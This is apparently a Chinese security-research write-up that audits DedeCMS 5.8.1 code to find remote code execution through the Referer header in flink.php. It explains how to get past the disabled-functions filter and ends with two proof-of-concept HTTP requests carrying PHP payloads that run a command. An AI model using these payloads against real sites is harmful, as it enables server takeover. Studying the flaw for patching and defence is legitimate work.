DedeCMS-Develop-5.8.1.13-referer命令注入研究分析 CVE-2024-0002
本次文章给大家带来代码审计漏洞挖掘的思路,从已知可控变量出发或从函数功能可能照成的隐患出发,追踪参数调用及过滤。最终完成代码的隐患漏洞利用过程。
代码审计挖掘思路
首先flink.php文件的代码执行逻辑,可以使用php的调试功能辅助审计
我们注意到参数dopost 为save 进入条件块中执行,查看相关调用函数,分析是否还有其他的取参处理的逻辑。
函数ShowMsg
我们注意到变量gourl取值http的referer头,据注释来看貌似是跳转的地址,那么我们首先会想到是CSRF或者SSRF,看看后面有没有过滤,或有其他的处理逻辑。
在后面的处理的逻辑中定义了 $htmlhead $htmlfoot变量。
那么我们有理由猜测之后的处理逻辑就是渲染输出。如果之中有参数可控,我们可以尝试插入js代码进行xss攻击,如果服务端进行了模板渲染,我们可以选择模板注入,表达式注入。甚至为后端的代码注入。
着重看一下可控参数$gourl 的处理方式
现在可以确认的是可控参数已经在变量&msg , 跟进loadstring函数查看处理逻辑
变量存入了DedeTemplate类中成员变量sourceString中。
右键查找调用者
GetResult函数将调用这个参数。GetResult()
的实现,目的是生成并返回一个处理后的字符串。一个有效的 PHP 代码段,通过使用正则表达式进行清理,确保返回的字符串没有冗余的标签。
继续分析GetResult函数的调用者,及调用者的处理逻辑。
GetResult函数的返回值经CheckDisabledFunctions函数过滤后写入了。
CheckDisabledFunctions 过滤了一些危险函数方法。我们也有理由相信我们的可控参数一定程序上是可以执行php代码的
可以继续分析WriteCache的调用者,也可以从程序处理后一步一步调,看看能不能函数能不能交汇
在之后的display中,发现有writeCache的调用,而且之后i使用文件包含include 生成的cacheFile文件(这点的逻辑可以在WriteCache函数中看)。
那么现在我们的思路就很明显了,
利用可控变量Referer完成 代码段的闭合!
function JumpUrl(){
if(pgo==0){ location='$gourl'; pgo=1; }
}
默认是在jumpurl函数中,如果默认没调用JumpUrl 我们则可以尝试去闭合这个函数,然后代码执行,
还要考虑一件事情,不能被CheckDisabledFunctions函数检测到,
思路:
1.插入"来绕过 这个会干扰token_get_all_nl函数的提取 (复现方式1)
2.使用php中类似表达式的机制<?=
calc?>
(复现方式2)
3.结合PHP的流机制 命令执行绕过(跟包含文件相关)
漏洞复现
GET /plus/flink.php?dopost=save HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Referer: <?php "system"(calc);?>
Connection: close
Cache-Control: max-age=0z
GET /plus/flink.php?dopost=save HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Referer: <?=`calc`?>
Connection: close
Cache-Control: max-age=0